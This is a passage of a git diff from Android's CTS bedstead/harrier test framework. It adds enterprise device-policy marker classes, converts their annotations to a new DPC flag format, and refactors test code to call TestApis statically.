+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/NetworkLoggingDelegation.java
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.harrier.policies;
+
+import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIED_BY_DEVICE_OWNER;
+import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIED_BY_PROFILE_OWNER_PROFILE;
+import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIES_TO_OWN_USER;
+
+import android.app.admin.DevicePolicyManager;
+import android.content.ComponentName;
+
+import com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy;
+
+import java.util.List;
+
+/**
+ * Policy for network logging delegation.
+ *
+ * <p>This is used for methods such as {@link
+ * DevicePolicyManager#setDelegatedScopes(ComponentName, String, List)} with scope {@link
+ * DevicePolicyManager#DELEGATION_NETWORK_LOGGING}.
+ */
+@EnterprisePolicy(dpc = {
+        APPLIED_BY_DEVICE_OWNER | APPLIED_BY_PROFILE_OWNER_PROFILE | APPLIES_TO_OWN_USER})
+public final class NetworkLoggingDelegation {
+}
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/PreferentialNetworkService.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/PreferentialNetworkService.java
index 5676b87..45185a9 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/PreferentialNetworkService.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/PreferentialNetworkService.java
@@ -16,8 +16,8 @@
 
 package com.android.bedstead.harrier.policies;
 
-import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.DeviceOwnerControl.NO;
-import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.ProfileOwnerControl.PROFILE;
+import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIED_BY_PROFILE_OWNER_PROFILE;
+import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIES_TO_OWN_USER;
 
 import android.app.admin.DevicePolicyManager;
 
@@ -27,6 +27,6 @@
  * Policy for testing preferential network service.
  * See {@link DevicePolicyManager#setPreferentialNetworkServiceEnabled(boolean)} for more detail.
  */
-@EnterprisePolicy(deviceOwner = NO, profileOwner = PROFILE)
+@EnterprisePolicy(dpc = APPLIED_BY_PROFILE_OWNER_PROFILE | APPLIES_TO_OWN_USER)
 public final class PreferentialNetworkService {
 }
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/ResetPasswordWithToken.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/ResetPasswordWithToken.java
new file mode 100644
index 0000000..82a30a8
--- /dev/null
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/ResetPasswordWithToken.java
@@ -0,0 +1,37 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.harrier.policies;
+
+import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIED_BY_DEVICE_OWNER;
+import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIED_BY_PROFILE_OWNER;
+import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIES_TO_OWN_USER;
+
+import android.app.admin.DevicePolicyManager;
+import android.content.ComponentName;
+
+import com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy;
+
+/**
+ * Policies around resetting a new device password
+ *
+ * <p>This is used by methods such as
+ * {@link DevicePolicyManager#resetPasswordWithToken(ComponentName, String, byte[], int)}
+ */
+@EnterprisePolicy(dpc = {APPLIED_BY_DEVICE_OWNER | APPLIES_TO_OWN_USER,
+        APPLIED_BY_PROFILE_OWNER | APPLIES_TO_OWN_USER})
+public class ResetPasswordWithToken {
+}
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/ScreenCaptureDisabled.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/ScreenCaptureDisabled.java
new file mode 100644
index 0000000..e165663
--- /dev/null
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/ScreenCaptureDisabled.java
@@ -0,0 +1,38 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.harrier.policies;
+
+import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIED_BY_DEVICE_OWNER;
+import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIED_BY_PARENT_INSTANCE_OF_PROFILE_OWNER;
+import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIED_BY_PROFILE_OWNER;
+import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIES_TO_OWN_USER;
+
+import android.app.admin.DevicePolicyManager;
+import android.content.ComponentName;
+
+import com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy;
+
+/**
+ * Policy for disabling screen capture.
+ *
+ * <p>Users of this policy are
+ * {@link DevicePolicyManager#setScreenCaptureDisabled(ComponentName, boolean)}.
+ */
+@EnterprisePolicy(dpc = APPLIED_BY_DEVICE_OWNER | APPLIED_BY_PROFILE_OWNER
+        | APPLIED_BY_PARENT_INSTANCE_OF_PROFILE_OWNER | APPLIES_TO_OWN_USER)
+public final class ScreenCaptureDisabled {
+}
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/SecurityLoggingDelegation.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/SecurityLoggingDelegation.java
new file mode 100644
index 0000000..b8f7617
--- /dev/null
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/SecurityLoggingDelegation.java
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.harrier.policies;
+
+import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIED_BY_DEVICE_OWNER;
+import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIES_TO_OWN_USER;
+
+import android.app.admin.DevicePolicyManager;
+import android.content.ComponentName;
+
+import com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy;
+
+import java.util.List;
+
+/**
+ * Policy for security logging delegation.
+ *
+ * <p>This is used for methods such as {@link
+ * DevicePolicyManager#setDelegatedScopes(ComponentName, String, List)} with scope {@link
+ * DevicePolicyManager#DELEGATION_SECURITY_LOGGING}.
+ */
+// TODO(b/198774281): COPE profile POs can call this too, but we need to add the flag.
+@EnterprisePolicy(dpc = {APPLIED_BY_DEVICE_OWNER | APPLIES_TO_OWN_USER})
+public final class SecurityLoggingDelegation {
+}
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/SetPermissionGrantState.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/SetPermissionGrantState.java
new file mode 100644
index 0000000..bc3861a
--- /dev/null
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/SetPermissionGrantState.java
@@ -0,0 +1,42 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.harrier.policies;
+
+import static android.app.admin.DevicePolicyManager.DELEGATION_PERMISSION_GRANT;
+
+import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIED_BY_DEVICE_OWNER;
+import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIED_BY_PROFILE_OWNER;
+import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIES_TO_OWN_USER;
+import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.CAN_BE_DELEGATED;
+
+import android.app.admin.DevicePolicyManager;
+import android.content.ComponentName;
+
+import com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy;
+
+/**
+ * Policies around setting the grant state of a basic permission.
+ *
+ * <p>This is used by
+ * {@link DevicePolicyManager#setPermissionGrantState(ComponentName, String, String, int)} when
+ * granting permissions not covered by other policies.
+ */
+@EnterprisePolicy(
+        dpc = APPLIED_BY_DEVICE_OWNER | APPLIED_BY_PROFILE_OWNER | APPLIES_TO_OWN_USER | CAN_BE_DELEGATED,
+        delegatedScopes = DELEGATION_PERMISSION_GRANT)
+public final class SetPermissionGrantState {
+}
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/TestPolicy.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/SetSensorPermissionGranted.java
similarity index 62%
rename from common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/TestPolicy.java
rename to common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/SetSensorPermissionGranted.java
index 0b7c557..9e1e832 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/TestPolicy.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/SetSensorPermissionGranted.java
@@ -16,12 +16,21 @@
 
 package com.android.bedstead.harrier.policies;
 
-import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.DeviceOwnerControl.NO;
-import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.ProfileOwnerControl.COPE_PARENT;
+import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIED_BY_DEVICE_OWNER;
+import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIES_TO_OWN_USER;
+
+import android.app.admin.DevicePolicyManager;
+import android.content.ComponentName;
 
 import com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy;
 
-/** Example Policy until real policies are added. */
-@EnterprisePolicy(profileOwner = COPE_PARENT, deviceOwner = NO)
-public class TestPolicy {
+/**
+ * Policies around setting the grant state of a sensor permission.
+ *
+ * <p>This is used by
+ * {@link DevicePolicyManager#setPermissionGrantState(ComponentName, String, String, int)} when
+ * granting sensor permissions.
+ */
+@EnterprisePolicy(dpc = APPLIED_BY_DEVICE_OWNER | APPLIES_TO_OWN_USER)
+public final class SetSensorPermissionGranted {
 }
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/SetSmsPermissionGranted.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/SetSmsPermissionGranted.java
new file mode 100644
index 0000000..fac7dcd
--- /dev/null
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/SetSmsPermissionGranted.java
@@ -0,0 +1,43 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.harrier.policies;
+
+import static android.app.admin.DevicePolicyManager.DELEGATION_PERMISSION_GRANT;
+
+import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIED_BY_DEVICE_OWNER;
+import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIED_BY_PROFILE_OWNER_USER;
+import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIES_TO_OWN_USER;
+import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.CAN_BE_DELEGATED;
+
+import android.app.admin.DevicePolicyManager;
+import android.content.ComponentName;
+
+import com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy;
+
+/**
+ * Policies around setting the grant state of a SMS related permission.
+ *
+ * <p>This is used by
+ * {@link DevicePolicyManager#setPermissionGrantState(ComponentName, String, String, int)} when
+ * granting sms-related permissions.
+ */
+// TODO(198311372): Check if APPLIED_BY_PROFILE_OWNER_USER is expected
+@EnterprisePolicy(
+        dpc = APPLIED_BY_DEVICE_OWNER | APPLIES_TO_OWN_USER | APPLIED_BY_PROFILE_OWNER_USER | CAN_BE_DELEGATED,
+        delegatedScopes = DELEGATION_PERMISSION_GRANT)
+public final class SetSmsPermissionGranted {
+}
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/SupportMessage.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/SupportMessage.java
new file mode 100644
index 0000000..b963290
--- /dev/null
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/SupportMessage.java
@@ -0,0 +1,38 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.harrier.policies;
+
+import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIED_BY_DEVICE_OWNER;
+import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIED_BY_PROFILE_OWNER;
+import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIES_TO_OWN_USER;
+
+import android.app.admin.DevicePolicyManager;
+import android.content.ComponentName;
+
+import com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy;
+
+/**
+ * Policy for long and short support messages.
+ *
+ * <p>Users of this policy are {@link DevicePolicyManager#setLongSupportMessage(ComponentName,
+ * CharSequence)}, {@link DevicePolicyManager#setShortSupportMessage(ComponentName, CharSequence)},
+ * {@link DevicePolicyManager#getLongSupportMessage(ComponentName)} and {@link
+ * DevicePolicyManager#getShortSupportMessage(ComponentName)}.
+ */
+@EnterprisePolicy(dpc = APPLIED_BY_DEVICE_OWNER | APPLIED_BY_PROFILE_OWNER | APPLIES_TO_OWN_USER)
+public final class SupportMessage {
+}
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/UserControlDisabledPackages.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/UserControlDisabledPackages.java
index 0a43c40..2adaf92 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/UserControlDisabledPackages.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/UserControlDisabledPackages.java
@@ -16,8 +16,8 @@
 
 package com.android.bedstead.harrier.policies;
 
-import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.DeviceOwnerControl.GLOBAL;
-import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.ProfileOwnerControl.NO;
+import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIED_BY_DEVICE_OWNER;
+import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIES_GLOBALLY;
 
 import android.app.admin.DevicePolicyManager;
 import android.content.ComponentName;
@@ -33,6 +33,6 @@
  * {@link DevicePolicyManager#setUserControlDisabledPackages(ComponentName, List)} and
  * {@link DevicePolicyManager#getUserControlDisabledPackages(ComponentName)}.
  */
-@EnterprisePolicy(deviceOwner = GLOBAL, profileOwner = NO)
+@EnterprisePolicy(dpc = APPLIED_BY_DEVICE_OWNER | APPLIES_GLOBALLY)
 public final class UserControlDisabledPackages {
 }
diff --git a/common/device-side/bedstead/harrier/src/test/AndroidManifest.xml b/common/device-side/bedstead/harrier/src/test/AndroidManifest.xml
index d351183..8ff6d02 100644
--- a/common/device-side/bedstead/harrier/src/test/AndroidManifest.xml
+++ b/common/device-side/bedstead/harrier/src/test/AndroidManifest.xml
@@ -17,12 +17,14 @@
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          xmlns:tools="http://schemas.android.com/tools"
           package="com.android.bedstead.harrier.test">
 
     <application android:label="Harrier Tests">
         <uses-library android:name="android.test.runner" />
     </application>
-    <uses-sdk android:minSdkVersion="27" android:targetSdkVersion="27"/>
+    <!-- TODO(b/194670711): Drop overrideLibrary when we bump version to 28 -->
+    <uses-sdk android:minSdkVersion="27" android:targetSdkVersion="27" tools:overrideLibrary="com.android.bedstead.remotedpc, com.android.bedstead.testapp.library, com.android.bedstead.testapp.testapps" />
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="com.android.bedstead.harrier.test"
                      android:label="Harrier Tests" />
diff --git a/common/device-side/bedstead/harrier/src/test/java/com/android/bedstead/harrier/DeviceStateClassAnnotationTest.java b/common/device-side/bedstead/harrier/src/test/java/com/android/bedstead/harrier/DeviceStateClassAnnotationTest.java
index f7860548..9181ec4 100644
--- a/common/device-side/bedstead/harrier/src/test/java/com/android/bedstead/harrier/DeviceStateClassAnnotationTest.java
+++ b/common/device-side/bedstead/harrier/src/test/java/com/android/bedstead/harrier/DeviceStateClassAnnotationTest.java
@@ -43,8 +43,6 @@
     @Rule
     public static final DeviceState sDeviceState = new DeviceState();
 
-    private static final TestApis sTestApis = new TestApis();
-
     private static boolean sBeforeClassHasRun = false;
     private static boolean sShadowedGrandparentWithoutBeforeClassInTestClassHasRun = false;
 
@@ -65,12 +63,12 @@
         // We test here that ensureHasWorkProfile is processed before the test method
         // but ensureHasSecondaryUser is not processed
 
-        assertThat(sTestApis.users().findProfileOfType(
-                sTestApis.users().supportedType(MANAGED_PROFILE_TYPE_NAME),
-                sTestApis.users().instrumented())
+        assertThat(TestApis.users().findProfileOfType(
+                TestApis.users().supportedType(MANAGED_PROFILE_TYPE_NAME),
+                TestApis.users().instrumented())
         ).isNotNull();
-        assertThat(sTestApis.users().findUserOfType(
-                sTestApis.users().supportedType(SECONDARY_USER_TYPE_NAME))
+        assertThat(TestApis.users().findUserOfType(
+                TestApis.users().supportedType(SECONDARY_USER_TYPE_NAME))
         ).isNull();
 
         // Test that the parent always runs before the child
@@ -97,26 +95,26 @@
 
     @Test
     public void ensureHasWorkProfileAnnotationOnClass_workProfileExists() {
-        assertThat(sTestApis.users().findProfileOfType(
-                sTestApis.users().supportedType(MANAGED_PROFILE_TYPE_NAME),
-                sTestApis.users().instrumented())
+        assertThat(TestApis.users().findProfileOfType(
+                TestApis.users().supportedType(MANAGED_PROFILE_TYPE_NAME),
+                TestApis.users().instrumented())
         ).isNotNull();
     }
 
     @Test
     @EnsureHasNoWorkProfile
     public void ensureHasNoWorkProfileAnnotation_overridesClassAnnotation() {
-        assertThat(sTestApis.users().findProfileOfType(
-                sTestApis.users().supportedType(MANAGED_PROFILE_TYPE_NAME),
-                sTestApis.users().instrumented())
+        assertThat(TestApis.users().findProfileOfType(
+                TestApis.users().supportedType(MANAGED_PROFILE_TYPE_NAME),
+                TestApis.users().instrumented())
         ).isNull();
     }
 
     @Test
     @EnsureHasSecondaryUser
     public void ensureHasSecondaryUserAnnotation_overridesClassAnnotation() {
-        assertThat(sTestApis.users().findUserOfType(
-                sTestApis.users().supportedType(SECONDARY_USER_TYPE_NAME))
+        assertThat(TestApis.users().findUserOfType(
+                TestApis.users().supportedType(SECONDARY_USER_TYPE_NAME))
         ).isNotNull();
     }
 }
diff --git a/common/device-side/bedstead/harrier/src/test/java/com/android/bedstead/harrier/DeviceStateClassAnnotationWithoutBedsteadJunit4Test.java b/common/device-side/bedstead/harrier/src/test/java/com/android/bedstead/harrier/DeviceStateClassAnnotationWithoutBedsteadJunit4Test.java
index 594a103..7874903 100644
--- a/common/device-side/bedstead/harrier/src/test/java/com/android/bedstead/harrier/DeviceStateClassAnnotationWithoutBedsteadJunit4Test.java
+++ b/common/device-side/bedstead/harrier/src/test/java/com/android/bedstead/harrier/DeviceStateClassAnnotationWithoutBedsteadJunit4Test.java
@@ -37,12 +37,10 @@
     @Rule
     public static final DeviceState sDeviceState = new DeviceState();
 
-    private static final TestApis sTestApis = new TestApis();
-
     @Test
     public void ensureHasSecondaryUserAnnotationOnClass_secondaryUserExists() {
-        assertThat(sTestApis.users().findUserOfType(
-                sTestApis.users().supportedType(SECONDARY_USER_TYPE_NAME))
+        assertThat(TestApis.users().findUserOfType(
+                TestApis.users().supportedType(SECONDARY_USER_TYPE_NAME))
         ).isNotNull();
     }
 }
diff --git a/common/device-side/bedstead/harrier/src/test/java/com/android/bedstead/harrier/DeviceStateTest.java b/common/device-side/bedstead/harrier/src/test/java/com/android/bedstead/harrier/DeviceStateTest.java
index f193750..ba3c2ef 100644
--- a/common/device-side/bedstead/harrier/src/test/java/com/android/bedstead/harrier/DeviceStateTest.java
+++ b/common/device-side/bedstead/harrier/src/test/java/com/android/bedstead/harrier/DeviceStateTest.java
@@ -18,13 +18,19 @@
 
 import static android.Manifest.permission.INTERACT_ACROSS_PROFILES;
 import static android.Manifest.permission.INTERACT_ACROSS_USERS_FULL;
+import static android.app.admin.DevicePolicyManager.DELEGATION_APP_RESTRICTIONS;
+import static android.app.admin.DevicePolicyManager.DELEGATION_CERT_INSTALL;
 import static android.content.pm.PackageManager.PERMISSION_DENIED;
 import static android.content.pm.PackageManager.PERMISSION_GRANTED;
 
 import static com.android.bedstead.harrier.DeviceState.UserType.ANY;
 import static com.android.bedstead.harrier.DeviceState.UserType.PRIMARY_USER;
+import static com.android.bedstead.harrier.OptionalBoolean.FALSE;
+import static com.android.bedstead.harrier.OptionalBoolean.TRUE;
 import static com.android.bedstead.harrier.annotations.RequireAospBuild.GMS_CORE_PACKAGE;
 import static com.android.bedstead.harrier.annotations.RequireCnGmsBuild.CHINA_GOOGLE_SERVICES_FEATURE;
+import static com.android.bedstead.harrier.annotations.enterprise.EnsureHasDelegate.AdminType.DEVICE_OWNER;
+import static com.android.bedstead.harrier.annotations.enterprise.EnsureHasDelegate.AdminType.PRIMARY;
 import static com.android.bedstead.nene.users.UserType.MANAGED_PROFILE_TYPE_NAME;
 import static com.android.bedstead.nene.users.UserType.SECONDARY_USER_TYPE_NAME;
 import static com.android.bedstead.nene.users.UserType.SYSTEM_USER_TYPE_NAME;
@@ -33,7 +39,10 @@
 
 import static org.testng.Assert.assertThrows;
 
+import android.app.ActivityManager;
 import android.os.Build;
+import android.os.Bundle;
+import android.platform.test.annotations.AppModeFull;
 
 import com.android.bedstead.harrier.annotations.EnsureDoesNotHavePermission;
 import com.android.bedstead.harrier.annotations.EnsureHasNoSecondaryUser;
@@ -49,27 +58,39 @@
 import com.android.bedstead.harrier.annotations.RequireDoesNotHaveFeature;
 import com.android.bedstead.harrier.annotations.RequireFeature;
 import com.android.bedstead.harrier.annotations.RequireGmsBuild;
+import com.android.bedstead.harrier.annotations.RequireHeadlessSystemUserMode;
+import com.android.bedstead.harrier.annotations.RequireLowRamDevice;
 import com.android.bedstead.harrier.annotations.RequireNotCnGmsBuild;
+import com.android.bedstead.harrier.annotations.RequireNotHeadlessSystemUserMode;
+import com.android.bedstead.harrier.annotations.RequireNotLowRamDevice;
 import com.android.bedstead.harrier.annotations.RequirePackageInstalled;
 import com.android.bedstead.harrier.annotations.RequirePackageNotInstalled;
+import com.android.bedstead.harrier.annotations.RequireRunNotOnSecondaryUser;
 import com.android.bedstead.harrier.annotations.RequireRunOnPrimaryUser;
 import com.android.bedstead.harrier.annotations.RequireRunOnSecondaryUser;
 import com.android.bedstead.harrier.annotations.RequireRunOnTvProfile;
 import com.android.bedstead.harrier.annotations.RequireRunOnWorkProfile;
 import com.android.bedstead.harrier.annotations.RequireSdkVersion;
 import com.android.bedstead.harrier.annotations.RequireUserSupported;
+import com.android.bedstead.harrier.annotations.TestTag;
+import com.android.bedstead.harrier.annotations.enterprise.EnsureHasDelegate;
 import com.android.bedstead.harrier.annotations.enterprise.EnsureHasDeviceOwner;
 import com.android.bedstead.harrier.annotations.enterprise.EnsureHasNoDeviceOwner;
+import com.android.bedstead.harrier.annotations.enterprise.EnsureHasNoDpc;
 import com.android.bedstead.harrier.annotations.enterprise.EnsureHasNoProfileOwner;
 import com.android.bedstead.harrier.annotations.enterprise.EnsureHasProfileOwner;
+import com.android.bedstead.harrier.annotations.parameterized.IncludeRunOnBackgroundDeviceOwnerUser;
 import com.android.bedstead.harrier.annotations.parameterized.IncludeRunOnDeviceOwnerUser;
 import com.android.bedstead.harrier.annotations.parameterized.IncludeRunOnNonAffiliatedDeviceOwnerSecondaryUser;
-import com.android.bedstead.harrier.annotations.parameterized.IncludeRunOnParentOfProfileOwner;
-import com.android.bedstead.harrier.annotations.parameterized.IncludeRunOnProfileOwnerProfile;
-import com.android.bedstead.harrier.annotations.parameterized.IncludeRunOnSecondaryUserInDifferentProfileGroupToProfileOwner;
+import com.android.bedstead.harrier.annotations.parameterized.IncludeRunOnParentOfProfileOwnerWithNoDeviceOwner;
+import com.android.bedstead.harrier.annotations.parameterized.IncludeRunOnProfileOwnerProfileWithNoDeviceOwner;
+import com.android.bedstead.harrier.annotations.parameterized.IncludeRunOnSecondaryUserInDifferentProfileGroupToProfileOwnerProfile;
 import com.android.bedstead.nene.TestApis;
 import com.android.bedstead.nene.packages.Package;
 import com.android.bedstead.nene.users.UserReference;
+import com.android.bedstead.nene.utils.Tags;
+import com.android.bedstead.remotedpc.RemoteDelegate;
+import com.android.bedstead.remotedpc.RemoteDpc;
 
 import org.junit.ClassRule;
 import org.junit.Ignore;
@@ -84,7 +105,6 @@
     @Rule
     public static final DeviceState sDeviceState = new DeviceState();
 
-    private static final TestApis sTestApis = new TestApis();
     private static final String TV_PROFILE_TYPE_NAME = "com.android.tv.profile";
 
     private static final String TEST_PERMISSION_1 = INTERACT_ACROSS_PROFILES;
@@ -105,7 +125,7 @@
     @Test
     @RequireRunOnWorkProfile
     public void workProfile_runningOnWorkProfile_returnsCurrentProfile() {
-        assertThat(sDeviceState.workProfile()).isEqualTo(sTestApis.users().instrumented());
+        assertThat(sDeviceState.workProfile()).isEqualTo(TestApis.users().instrumented());
     }
 
     @Test
@@ -118,9 +138,9 @@
     @EnsureHasNoWorkProfile
     @EnsureHasNoDeviceOwner
     public void workProfile_createdWorkProfile_throwsException() {
-        try (UserReference workProfile = sTestApis.users().createUser()
-                .parent(sTestApis.users().instrumented())
-                .type(sTestApis.users().supportedType(MANAGED_PROFILE_TYPE_NAME))
+        try (UserReference workProfile = TestApis.users().createUser()
+                .parent(TestApis.users().instrumented())
+                .type(TestApis.users().supportedType(MANAGED_PROFILE_TYPE_NAME))
                 .create()) {
             assertThrows(IllegalStateException.class, sDeviceState::workProfile);
         }
@@ -129,9 +149,9 @@
     @Test
     @EnsureHasWorkProfile
     public void ensureHasWorkProfileAnnotation_workProfileExists() {
-        assertThat(sTestApis.users().findProfileOfType(
-                sTestApis.users().supportedType(MANAGED_PROFILE_TYPE_NAME),
-                sTestApis.users().instrumented())
+        assertThat(TestApis.users().findProfileOfType(
+                TestApis.users().supportedType(MANAGED_PROFILE_TYPE_NAME),
+                TestApis.users().instrumented())
         ).isNotNull();
     }
 
@@ -141,9 +161,9 @@
     @Test
     @EnsureHasNoWorkProfile
